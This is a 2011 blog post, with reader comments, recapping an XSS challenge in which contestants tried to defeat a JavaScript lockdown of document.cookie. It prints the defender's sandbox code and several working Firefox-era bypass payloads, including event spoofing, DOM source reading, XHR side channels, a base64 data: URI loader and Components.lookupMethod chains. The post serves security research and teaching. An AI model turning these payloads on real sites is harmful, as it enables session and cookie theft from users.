Tuesday, October 11, 2011

The sad state of DOM security (or how we all ruled Mario's challenge)

A few days ago Mario Heiderich posted second installment of his xssme challenges (viewable in Firefox only for now). But it wasn't a usual challenge. The goal was not to execute your Javascript - it was to get access to the DOM object property (document.cookie) without user interaction. In fact, the payload wasn't filtered at all.

My precious!

This goes along Mario's work on locking DOM and XSS eradication attempt. The concept is that server side filtering for XSS will eventually fail if you need to accept HTML. Further on - sometimes Javascript code should be accepted from the client (mashups are everywhere!), instead we want it to run inside a sandbox, limiting access to some crucial properties (location, cookie, window, some tokens, our internal application object etc.). That's basically what Google Caja tries to achieve server-side. But server does not know about all those browser quirks, parsing issues - it's a different environment after all.

So if a total XSS eradication is possible - it has to be client-side, in the browser.
Of course, this requires some support from the browser and the most common weapon is ECMAScript 5 Object.defineProperty() and friends. Basically, it allows you to redefine a property of an object (say, document.cookie) with your own implementation and lock it down so further redefines are not possible.

In theory, it's great. You insert some Javascript code, locking down your precious DOM assets, then you can output unmodified client's code which is already operating in a controlled, sandboxed environment - and you're done. In theory. Read on!

What an event that was!

Mario started with this approach - he prepared a  'firewall' script and below displayed user-supplied HTML without any filtering. But first, only IE9+ and FF6+ were allowed (other browsers don't yet have all the features to lock the precious). In the firewall, he locked down document.cookie, leaving access to it only via a safe getter function. This safe getter function could only be called in via user click. IIRC, it looked like this:
<script>
    document.cookie = '123456-secret-123456'; // my precious

    var Safe = function() {
        var cookie = document.cookie; // reference to original
        this.get = function() { 
            var ec = arguments.callee.caller;
            var ev = ec.arguments[0];
            if(ec && ev.isTrusted === true 
                  && ev.type=='click') { // allow calling only from click events
                return cookie;
            }
            return null;
        };       
    };
    Object.defineProperty(window, 'Safe', {
        value: new Safe, configurable:false}
    ); // Safe cannot be overridden

    Object.defineProperty(document, 'cookie', {value: null, configurable: false}); // nullify and seal the original cookie
</script>
<button id="safe123" onclick="alert(Safe.get())">Access document.cookie safely -- the legit way</button>
So we're done, right-o? No! You could spoof the event, call the getter and get the cookie.
function b() { return Safe.get(); } 
alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); // call b({type:'click',isTrusted:true})
Solution? Make sure that the event is not spoofed by using instanceof yet another locked down object. That was also bypassed in many ways (look for event in bypass list), leading to other lockdowns.

I can read!

Another approach was to simply retrieve the script text from document source (after all, it's all in the same origin) - brilliant:
// one
alert(document.head.childNodes[3].text);
// two
alert(document.head.innerHTML.substr(146,20))
// three
var script = document.getElementsByTagName('script')[0]; 
var clone = script.childNodes[0].cloneNode(true); 
var ta = document.createElement('textarea'); ta.appendChild(clone); 
alert(ta.value.match(/cookie = '(.*?)'/)[1])
and similar (Authors, please contact me for credits!). The issue here is that client-side, same-origin I can read my own document, including the source code of the script containing the precious cookie.

Fix? Disallow a bunch of node reading functions - so even more locks to add.

We're on the web!

Speaking of reading - isn't the webpage just a blob of text content? Maybe there is a way to read webpage HTML without even interpreting it? Of course there is - it was for years. XMLHttpRequest. So there were multiple side-channel vectors that just read the original URL and extracted the cookie from responseText.
var request = new XMLHttpRequest();
request.open('GET', 'http://html5sec.org/xssme2', false);
request.send(null);
if (request.status == 200){alert(request.responseText.substr(150,41));}
Solution? Disallow XHR (and all it's other forms). Then this happened:
x=document.createElement('iframe');
x.src='http://html5sec.org/404';
x.onload=function(){window.frames[0].document.write("<script>r=new XMLHttpRequest();r.open('GET','http://html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>")};
document.body.appendChild(x);
 and the challenge moved to the separate domain so that one could not attack via another page which was in same origin.
And then hell broke loose.

The great escape

People started to load javascript in iframes. These got quickly disabled:
            html.body.innerHTML = x;
            for (var i in j = html.querySelectorAll('iframe,object,embed')) {
                try {j[i].src = 'javascript:""';j[i].data = 'javascript:""'} 
                catch (e) {}
            }
Then Mario took another approach to lockdown and created the separate document, replacing the original to lose even his own originreinitialize the sandbox (a brilliant code btw):
    if (document.head.parentNode.id !== 'sanitized') {
        document.write('<plaintext id=test>');
        var test = document.getElementById('test');
        setTimeout(function(){
            var x = test.innerHTML;
            var j = null;
            var html = document.implementation.createHTMLDocument(
                'http://www.w3.org/1999/xhtml', 'html', null
            );
            html.body.innerHTML = x;
            document.write('<!doctype html><html id="sanitized"><head>' 
    + document.head.innerHTML + '</head><body>' 
    + html.body.innerHTML + '</body></html>');
  },50);
    }   
But still, as of now, two bypasses work. "Garethy Salty method" by Soroush Dalili and mine.

Mine is using the data: uri with a HTML document that loads the original page via XHR (possible because of Firefox's weird assumption that data: documents are of the same origin as the calling page). Gareth uses proprietary Firefox Components.lookupMethod and gets the original native objects that were supposed to be locked down.

// Mine - use XHR in data:uri
location.href = 'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4='; 
// base 64 is:
<script>x=new XMLHttpRequest();x.open("GET","http://xssme.html5sec.org/xssme2/",true);x.onload=function() { alert(x.responseText.match(/document.cookie = '(.*?)'/)[1])};x.send(null);</script>

// Gareth - use unlockable Components.lookupMethod
alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(), 'getElementsByTagName')('html')[0],'innerHTML')().match(/cookie.*'/));
Solution? None for now. I guess the location is going to be locked down to beat my vector, but Garethy Salty method looks flawless.

The sad state of DOM security

Current matters are that the DOM security is in a very poor state. In the end, to be able to lock down a single DOM property Mario - one of the best men for this job on the planet - had to:
  • agree to browser limits (currently only a single browser is in-scope, the challenge is not even working in Chrome)
  • lock down almost everything, including XHR, window, document
  • disallow user interaction
  • disallow reading the contents of the page
  • disallow iframes, object & embeds (so no Youtube movies :( )
  • deal with multiple browser quirks
  • deal with side channels
  • get the challenge on a separate subdomain
  • reload the whole page in new origin
Then a few dozen people sit down, make up the weirdest vectors and make all of this still bypassable :(

And yet we all rule

This post though comes as a salute to all you guys involved! We all rule!
  • Mario rules for coming up with all these countermeasures (remember - it's much tougher to defend)
  • All the contestants rule for bypassing them one after another (I've learned tons of new tricks from others)
  • The challenge rules as it showed exactly what is the current state of DOM security and what needs to be fixed
  • Javascript rules for making all of this possible
  • and Firefox rules for all its quirky bypasses ;)

12 comments:

albino said...

Nice bypass.  I think data: documents inheriting origin in firefox might be fixed soon, although I may be misinterpreting the opaque mists of bugzilla.

kkotowicz said...

@albino any link? ;)

albino said...

https://bugzilla.mozilla.org/show_bug.cgi?id=656433

I can't tell if it affects data: documents loaded via in-page links but I suspect it may.

Zack Weinberg said...

Filed https://bugzilla.mozilla.org/show_bug.cgi?id=693733 arguing that Components.lookupMethod should not be accessible to page JS.

.mario said...

@albino The problem in FF are redirects to data: keeping the domain context.

Check this JSfiddle on FF, Opera and Chrome http://jsfiddle.net/FEwEH/1/ - this is the actual problem ;)

kkotowicz said...

Exactly. Don't know if they're having a bug for it somewhere, but it is a weird behavior, and unique to Firefox. I've already used it to exploit a real world vuln, so it is a threat.  

Roman Shafigullin said...

I always thought that javascript: and data: links was created special for XSS =)alert(1)

jruderman said...

That bug was just about the location bar. You're looking for https://bugzilla.mozilla.org/show_bug.cgi?id=255107.

.mario said...

Thanks - I searched for some time bud didn't find it. Let's see some up-votes, gentlemen ;)

kkotowicz said...

This is getting better - Components.lookupMethod() was allowed ... for security reasons :) https://bugzilla.mozilla.org/show_bug.cgi?id=286629

Rares Mirica said...

Sorry for the rookie-ish question: but were the cookie be set by http header would the challenge be more difficult? (reading the document would not yield  the contents of the cookie)

.mario said...

Absolutely yes. The goal was to make it as hard as possible for the challenge to withstand attacks to emulate a real life situation: fully unprotected "webapp", sensitive content not only in the headers but the echoed markup.